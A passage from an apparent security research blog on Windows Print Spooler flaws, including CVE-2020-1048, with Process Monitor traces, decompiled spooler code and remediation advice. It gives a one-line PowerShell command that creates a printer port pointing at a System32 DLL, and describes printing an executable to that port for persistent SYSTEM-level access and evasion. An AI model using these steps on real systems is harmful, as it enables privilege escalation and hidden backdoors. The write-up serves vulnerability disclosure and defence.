It's not visible here, but the *.SHD wildcard is used as part of the FindFirstFile API, so each file matching this extension is sent to ReadShadowJob. This breaks one of our assumptions: there's no requirement for these files to follow the naming convention we described earlier. Combining with the fact that a printer can have its own spooler directory, it means these files can be anywhere.

Looking at ReadShadowJob, it seemed that only basic validation was done of the information present in the header, and many fields were, in fact, totally optional. We constructed, by hand with a hex editor, a custom *shadow job file* that only had the bare minimum to associate it to a printer, and restarted the Spooler, taking a look at what we'd see in Process Monitor. We also created a matching .SPL file with the same name, where we wrote a simple string.


First, we noted the Spooler scanning for FPnnnnn SPL files, which are normally associated with EMF jobs (the FP stands for *File Pool*). Then, it searched for SHD files, found ours, opened the matching SPL file, and continued looking for more files. None were present, so NO MORE FILES was returned.




Process Name	PID	Operation	Path	Result	User
spoolsv.exe	2592	QueryDirectory	C:\Windows\System32\spool\PRINTERS\FP*.SPL	NO SUCH FILE	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	CloseFile	C:\Windows\System32\spool\PRINTERS	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	CreateFile	C:\Windows\System32\spool\PRINTERS	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	QueryDirectory	C:\Windows\System32\spool\PRINTERS*.SHD	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	CreateFile	C:\Windows\System32\spool\PRINTERS\00026.SHD	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	QueryEAFile	C:\Windows\System32\spool\PRINTERS\00026.SHD	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	QueryStandardInfor...	C:\Windows\System32\spool\PRINTERS\00026.SHD	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	ReadFile	C:\Windows\System32\spool\PRINTERS\00026.SHD	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	CloseFile	C:\Windows\System32\spool\PRINTERS\00026.SHD	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	CreateFile	C:\Windows\System32\spool\PRINTERS\00026.SPL	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	QueryEAFile	C:\Windows\System32\spool\PRINTERS\00026.SPL	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	CloseFile	C:\Windows\System32\spool\PRINTERS\00026.SPL	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	QueryDirectory	C:\Windows\System32\spool\PRINTERS	NO MORE FILES	NT AUTHORITY\SYSTEM

Showing 13 of 665,086 events (0.0019%) Backed by virtual memory


So, interestingly, you'll notice how in the stack below, the DeleteOrphanFiles API is called to cleanup FP files:




But the opposite effect happens for SHD files after — the following stack shows you ProcessShadowJobs calling ReadShadowJob, as the IDA output above hypothesized.



What was the final effect of our custom placed SHD file, you ask? Well, take a look at the *print queue* for the printer that we created...



It's not looking great, is it? Double-clicking on the job gives us the following, equally useless information.



Given that this job seems outright corrupt, and indicates 0 bytes of data, you'd probably expect that resuming this job will abort the operation or crash in some way. So did we! Here's what *actually* happens:

Process Name	PID	Operation	Path	Result	User
spoolsv.exe	2592	CreateFile	C:\Windows\System32\spool\PRINTERS\00026.SHD	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	WriteFile	C:\Windows\System32\spool\PRINTERS\00026.SHD	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	QueryNameInformati...	C:\Windows\System32\winspool.drv	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	CreateFile	C:\Windows\tracing\demoport.txt	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	SetEndOfFileInfor...	C:\Windows\tracing\demoport.txt	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	SetAllocationInfor...	C:\Windows\tracing\demoport.txt	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	ReadFile	C:\Windows\System32\spool\PRINTERS\00026.SPL	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	QueryStandardInfor...	C:\Windows\System32\spool\PRINTERS\00026.SPL	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	WriteFile	C:\Windows\tracing\demoport.txt	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	ReadFile	C:\Windows\System32\spool\PRINTERS\00026.SPL	END OF FILE	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	FlushBuffersFile	C:\Windows\tracing\demoport.txt	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	WriteFile	C:\Windows\tracing\demoport.txt	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	CloseFile	C:\Windows\tracing\demoport.txt	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	SetEndOfFileInfor...	C:\Windows\System32\spool\PRINTERS\00026.SHD	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	SetAllocationInfor...	C:\Windows\System32\spool\PRINTERS\00026.SHD	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	SetEndOfFileInfor...	C:\Windows\System32\spool\PRINTERS\00026.SPL	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	2592	SetAllocationInfor...	C:\Windows\System32\spool\PRINTERS\00026.SPL	SUCCESS	NT AUTHORITY\SYSTEM

Showing 17 of 451,742 events (0.0037%) Backed by virtual memory


The whole thing works just fine **and** goes off and writes the entire *spool file* into our printer port, actual size in the SHADOWFILE_4 be damned. What's even crazier is that if you manually try calling ReadPrinter yourself, you won't see any data come in, because the RPC API actually checks for this value — even though the PortThread does not!

What we've shown so far, is that with very subtle file system modifications, you can achieve file copy/write behavior that is not attributable to any process, especially after a reboot, unless some EDR/DFIR software somehow knew to monitor the creation of the SHD file and understood its importance. With a carefully crafted port name, you can imagine simply having the Spooler drop a PE file anywhere on disk for you (assuming you have access to the location).

But things were about to take whole different turn in our research, when we asked ourselves the question — “*wait, after a reboot, how does the Spooler even manage to impersonate the original user — especially if the data in the SHD file can be NULL'ed out?*”.

Self Impersonation Privilege Escalation (SIPE)

Since Process Monitor can show impersonation tokens, we double-clicked on the CreateFile event, just as we had done at the beginning of this blog. We saw that indeed, the PortThread *was* impersonating... but... but...



The Spooler is impersonating... SYSTEM! It seems the code was never written to handle a situation that would arise where a user might have logged out, or rebooted, or simply the spooler crashing, and now we can write anywhere SYSTEM can. Indeed, looking at the NT4 source code, the PrintDocumentThruPrintProcessor function just zooms through and writes into the port.

However, we're not ones to trust 30 year old code on GitHub, so we stuck with our trusty IDA, and indeed saw the following code, which was added sometime around the Stuxnet era:

```
170     bNotFilePrinter = (Job->Status & JOB_PRINT_TO_FILE) == 0;
171     if ( !bNotFilePrinter && !Job->Unknown && !CanUserAccessTargetFile(Port->pName, Job->hToken) )
172     {
173         LogPrintProcError(ERROR_ACCESS_DENIED);
174     DiscardAndExit:
175         bDiscardJob = 1;
176         goto Exit;
177     }
```

And, indeed, CanUserAccessTargetFile immediately checks if hToken is NULL, and if so, returns FALSE and sets the LastError to ERROR_ACCESS_DENIED.

Boom! Game Over! The code is safe, we checked it! Believe it or not, we've previously gotten this type of response to security reports (not lately!).

Clearly, something is amiss, since we saw our write go through "impersonating" SYSTEM.


This is where a very deep subtlety arises. Pay attention to this code in CreateJobEntry, which is what ultimately initializes an INIJOB, and, if needed, sets JOB_PRINT_TO_FILE.

```
360     outputFile = docInfo->pOutputFile;
361     if ( outputFile )
362     {
363         pOutputFile = AllocSplStr(outputFile);
364         jobEntry->pOutputFile = pOutputFile;
365         if ( !pOutputFile )
366         {
367             goto Exit;
368         }
369         if ( IsGoingToFile(docInfo->pOutputFile, Spool->pIniSpooler) )
370         {
371             _m_prefetchhw(&jobEntry->Status);
372             oldStatus = jobEntry->Status;
373             do
374             {
375                 previousStatus = oldStatus;
376                 oldStatus = _InterlockedCompareExchange(&jobEntry->Status, oldStatus | JOB_PRINT_TO_FILE, oldStatus);
377             }
378             while ( previousStatus != oldStatus );
379             INIJOB::CheckJobStatusChange(jobEntry, oldStatus, jobEntry->Status | JOB_PRINT_TO_FILE);
380             if ( !SetOutputFileProperty(jobEntry, docInfo->pOutputFile) )
381             {
382                 goto Exit;
383             }
384         }
385     }
```


A *print job* is considered to be headed to a file only if the user selected the “Print to file” checkbox you see in the typical print dialog. A port, on the other hand, that’s a literal file, completely skips this check.

Well, OK then — let’s stop with this C:\Windows\Tracing\ lameness, and create a port in C:\Windows\System32\Ualapi.dll. Why this DLL? Well, ~~you’ll see~~ you saw in [Part Two](#)!


Hmmm, that’s not so easy:



We are caught in the act, as you can see from the following Process Monitor output:

Process Monitor - Sysinternals: www.sysinternals.com					
File Edit Event Filter Tools Options Help					
Process Name PID Operation Path Result User					
spoolsv.exe	32420	CreateFile	C:\Windows\System32\ualapi.dll	NAME NOT FOUND	NT AUTHORITY\SYSTEM
spoolsv.exe	32420	CreateFile	C:\Windows\System32\ualapi.dll	ACCESS DENIED	NT AUTHORITY\SYSTEM
spoolsv.exe	32420	CreateFile	C:\Windows\System32\ualapi.dll	NAME NOT FOUND	NT AUTHORITY\SYSTEM
Showing 3 of 9,041,265 events (0.000033%)				Backed by virtual memory	

The following stack shows how `XcvData` is called (an API you saw earlier) with the `PortIsValid` command. While you can't see it here (it's on the "Event" tab), the Spooler is impersonating the user at this point, and the user certainly doesn't have write access to `c:\Windows\System32`!



As such, it would seem that while it's certainly interesting that we can get the spooler to write files to disk after a reboot / service start, without impersonation,

it's unclear how this can be useful, since a port pointing to a privileged directory must first be created. As an Administrator, it's a great evasion and persistence trick, but you might think this is where the game stops.

While messing around with ways to abuse this behavior (and we found a few!), we also stumbled into something way, way, way, way... way simpler than the advanced techniques we were coming up with. And, it would seem, so did the folks at SafeBreach Labs, which beat us to the punch (gratz!) with CVE-2020-1048, which we'll cover below.

Client Side Port Check Vulnerability (CVE-2020-1048)

This bug is so simple that it's almost embarrassing once you realize all it would've taken is a PowerShell command.

If you scroll back up to where we showed the registry access in Spoolsv.exe as a result of Add-PrinterPort, you see a familiar XcvData stack — but going straight to XcvAddPort / DoAddPort — and not DoPortIsValid. Initially, we assumed that the registry access was being done after the file access (which we had masked out in Process Monitor), and that port validation had already occurred. But, when we enabled file system events... we never saw the CreateFile.

Using the UI, on the other hand, first showed us this stack and file system access, *and then* went ahead and added the port.

Yes, it was that simple. The UI dialog has a client-side check... the server, does not. And PowerShell's WMI Print Provider Module... does not.

This isn't because PowerShell/WMI has some special access. The code in our PoC, which uses XcvData with the AddPort command, directly gets the Spooler to add a port with zero checking.

Normally, this isn't a big deal, because all subsequent *print job* operations will have the user's token captured, and the file accesses will fail.

But not... if you reboot, or kill the spooler in some way. While that's not necessarily obvious for an unprivileged user, it's not hard — especially given the complexity and age of the Spooler (and its many 3rd party drivers).

So yes, walk to any unpatched system out there — you all have Windows 7 ESUs, right? — and just write `Add-PrinterPort -Name c:\windows\system32\ualapi.dll` in a PowerShell window. Congratulations! You've just given yourself a persistent backdoor on the system. Now you just need to “print” an MZ file to a printer that you'll install using the systems above, and you're set.

If the system is patched, however, this won't work. Microsoft fixed the vulnerability by now moving the `PortIsValid` check inside of `LcmXcvDataPort`. That being said, however, **if a malicious port was already created, a user can still “print” to it.** This is because of the behavior we explained above — the checks in `CanUserAccessTargetFile` do not apply to “ports pointing to files” — only when “printing to a file”.

Conclusion — Call to Action!

This bug is probably one of our favorites in Windows history, or at least one of our Top 5, due to its simplicity and age — completely broken in original versions of Windows, hardened after Stuxnet... yet still broken. When we submitted some additional related bugs (due to responsible disclosure, we don't want to hint where these might be), we thought the underlying impersonation behavior would also be addressed, but it seems that this is meant to be *by design*.

Since the fix for `PortIsValid` does make the impersonation behavior moot for newly patched systems, but leaves them vulnerable to pre-existing ports, we really wanted to get this blog out there to warn the industry for this potentially latent threat, now that a patch is out and attackers would've quickly figured out the issue (load `LocalSp1.dll` in [Diaphora](#) — the two line call to `PortIsValid` jumps out at you as the *only change* in the binary).

There are two steps you should immediately take:

1. Patch! This bug is ridiculously easy to exploit, both as an interactive user and from limited remote-local contexts as well.
2. Scan for any file-based ports with either `Get-PrinterPorts` in PowerShell, or just `dump HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Ports`. Any ports that have a file path in them — especially ending in an extension such as `.DLL` or `.EXE` should be treated with extreme prejudice.

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